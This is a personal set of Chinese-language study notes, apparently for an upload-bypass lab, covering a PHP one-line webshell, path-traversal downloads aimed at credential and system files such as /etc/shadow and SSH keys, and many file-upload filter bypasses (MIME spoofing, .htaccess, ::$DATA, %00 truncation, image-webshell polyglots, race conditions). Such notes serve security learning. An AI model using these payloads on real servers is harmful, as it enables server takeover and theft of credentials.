xss文件上传下载学习完毕(自用总结)

xss漏洞,需要有人点你发的东西,但是原理很简单。

所以xss不做 讲解,主要是不知道讲什么

一句话木马原理

`<?php @eval($_POST['value']);?>`


post只不过请求类型,get请求也行
value自定,上传到对方服务器就可以执行
eval![1c974d9626b8939dc5878010e17a6a84.png](:/7815b738ca144bb2a9c8fbef4cbe5f2a)
可以在当前的url界面输入代码执行
确定了value的值


文件下载

常用下载文件

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

一般链接形式:

download.php?path=
down.php?file=
data.php?file=

或者包含参数:
&Src=
&Inputfile=
&Filepath=
&Path=
&Data=
利用file../../../
`../`一个../返回一次上级目录,(相对当前下载文件所在的路径,一次向上移一级)
等返回到初始目录时候可以进入其他的文件了
`www.xxxx/download.php?path=./../../../../../etc/passwd`

利用../回溯上一级,然后走到下一级

文件上传

客户端突破

当限制文件上传类型的代号/脚本
是在前端页面的,可以直接修改前端代码,删除函数上传
![f3dabaf79e6e92903068f01096d416a0.png](:/8a4be080044b402f907bff936342ca09)
前端函数地方
直接删除该函数

* * *

上传一句话木马,利用菜刀,直接控制对方服务器
需要文件保存的地址,以及一句话木马里面的密码值
`<?php @eval($_POST['chopper']);?>`
chopper是webpassword,可以自定

* * *

服务端突破(MIME类型检测)

也是函数定义
利用的http头里面一个`content-type`头来限制了上传文件的类型,
可以用抓包来接触限制
其实把content-type中的类型改成,源代码中限制能上传的MIME类型
![9a639ceb7d3e2e24e7e42de5ce75313a.png](:/776ecd36e7d44c7c87913285ae95c77e)

* * *
常见的MIME类型(通用型):
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream

代码注入绕过getimagesize()利用本地包含文件漏洞

这个函数会检测上传文件的内容
该函数把文件转为16进制检测是否符合要求


方法一:直接伪造头部GIF89A
方法二:CMD方法,copy /b test.png+1.php muma.png
方法三:直接使用工具增加备注写入一句话木马。
把一句话木马插入到图片里面。

远程包含文件漏洞,修改配置会把所有文件类型转换成php执行

1.客户端检测(js代码检测)

客户端检测,直接修改前端代码/burp抓包然后修改包内容

建议用火狐,可以直接f12对内容修改

2.服务端绕过

burp抓包
把content-type改成照片类型

3.只限制了php之类的
可以使用后缀带数字的
比如.php3/.php4/phph5

4.把后缀带数字的也限制了
没有限制.htaccess
可以配置.htaccess文件来做到,把指定文件类型当做php文件执行

5.windows文件自动去除.和空格

```
$ file_name = deldot($file_name);//删除文件名末尾的点
$ file_ext = trim($file_ext); //收尾去空
```
* * *
文件后缀burp抓包时增加一个空格和.
这题只拦截了点没有拦截空格

6.大小写

`$ file_ext = strtolower($file_ext); //转换为小写`
之前的都检测了大小写
这里还故意不检测大小写绕过``

7.利用PHP和Windows环境累加属性

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

```
双引号 "        =   点号.
大于符号>   =   问号?
小于符号<   =   星号*
```

利用burp抓包修改包的属性
可以在抓包内容里改成
冒号.jpg
`yjh.php:.jpg`
第一次发包:服务器检测到:直接把后面全部去掉,但是得到的文件为0kb,之后追加进去
![5cc6d62913858acc022b213643b8ec5c.png](:/62531e24691047fbae49336c6e06940b)
第二次发包追加:改文件名为 yjh.</
4.<或4.<<<或4.>>>或4.>><后再次上传

8去除windows文件流

`$ file\_ext = str\_ireplace('::``$DATA', '', $file_ext);//去除字符串::$DATA`
扩展名改为`.php::$DATA`
yjh.php::$DATA

9过滤一次敏感文件后缀(双写文件名绕过)

```
`$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");`
`$file_name = str_ireplace($deny_ext,"", $file_name);`//只过滤一次
```
还是没有判断,只去除了一次文件后缀
可以
.php.php
pphphp
![d5ffac75cf3847cd00bb0b8f96d3f4f8.png](:/870c735df5a449628e04fbc2f3bc611d)

10   (). .绕过(点空格点可多个. .)

![76c9d67c199438270e42b6562ffb717b.png](:/74b60676fb804c9a8343ab18c2884c53)
基于源码只清除了首位的点和末尾的 
然后.和空格在windows文件中不显示,也绕过了黑名单检测
为啥不加个循环判断呢?

11.白名单绕过路径可改写(只允许特定内容通过)没啥用

文件路径不允许有空格
修复建设: php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态
**抓包改的是上传文件储存的路径,不是文件后缀**
只允许特定内容通过
可以利用url转码改变文件保存路径
`1.jpg, save_path改成../upload/1.php%00 (1.php%00.jpg经过url转码后会变为1.php\000.jpg),最后保存下来的文件就是1.php`
* * *
%00空格,服务器会截断 后面的内容
![6e6dcbd513fb6600966fbbafbea39fc7.png](:/9d0bd207fb934cc18a1b680c444be2ae)

12.修改文件上传路径

13.(需要利用远程包含漏洞/解析漏洞)上传图片马php图片二次渲染

 

简单的可以基于远程包含保护漏洞进行,把文件转换成php执行
* * *
把php文件拼接到图片中
* * *
方法一:直接伪造头部GIF89A
方法二:CMD方法,copy /b test.png+1.php muma.png
方法三:直接使用工具增加备注写入一句话木马。
把一句话木马插入到图片里面。
* * *
该函数导致原本包含一句话木马的图片文件,不包含。
 ```
if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
```
14.条件竞争删除文件时间差绕过

 

这关利用的是竞争条件,服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。
例如这里我准备一个tj.php,内容为

```
<?php
$myfile = fopen("qing.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>
```
条件竞争中burp需要线程设置偏大
利用burp![019eb9a2132aae66d21a8cd62398f691.png](:/67c46949bb504774a1c9899df2ba80b8)这个模块
多次生成payload
一个作业用来发包,上传这个文件
然后另一个作业用来访问上传的这个文件(该文件内容用来写一个php文件)

15.文件重命名上传(利用php解析漏洞)

利用burp
上传速度够快,就会有几个不会改名
然后再用php解析漏洞

16.双文件绕过

同时上传两个文件
得需要一个保存的文件名
最开始的

修改一下,改成保存两个文件就像,一个jpg,一个我们需要的

 

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值